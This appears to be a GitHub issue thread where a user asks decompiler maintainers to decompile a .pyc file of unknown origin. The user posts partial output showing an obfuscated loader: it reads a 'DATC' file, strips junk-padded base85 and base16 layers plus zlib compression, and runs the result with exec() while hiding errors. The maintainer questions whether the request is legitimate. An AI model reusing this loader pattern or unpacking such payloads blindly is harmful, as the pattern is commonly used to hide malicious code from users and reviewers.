i attached .pyc file.

OS : windows 10 Python Version : 3.8 decompyle3 version 3.3.2 Python bytecode 3.8 (3413)

pyc.zip

i also used decompyle3but same result

Are you the author of this code? If not how is it that you don't have access to the the COIN98 code? Is that accidental or intentional?

[keyvanvafaee]

No i am not author of this code. A friend send it to me and ask for decompilation, i even don”t know what this script will do!

i could decode some part of this .pyc file with decompile++ here is results :

import zlib , marshal , base64

def e(code):
    return zlib.decompress(code)

def d(code):
    code = code.decode()
    #print (code)
    return base64.b85decode(code.replace(
        base64.b85encode(
        b'xatvjhgfjvethjyklkkluyhoipl'
        ).decode() , ''))

def a(code):
    code = code.decode()
    return base64.b16decode(code.replace(
        base64.b16encode(
        b'xatvjhgfjvethjyklkkluyhoipl'
        ).decode() , ''))

def g(mod, dat):
    pass

def h(t):

    try:
        mod = '16323264856485'

        def getmod():
Unsupported opcode: LOAD_METHOD
            md = []
            x = 1
        # WARNING: Decompyle incomplete

        md = reversed(getmod())
    finally:
        return None
        return None

try:
    cod = open('DATC', 'rb').read()
    exec(f(c(h(a(d(e(cod)))))))
except:
    pass

You may be engaging in questionable activity. That may be fine okay for you, but asking others to offer help, at least from me, isn't.

For this project to pursue this I'd need some assurance that this work is legitimate.
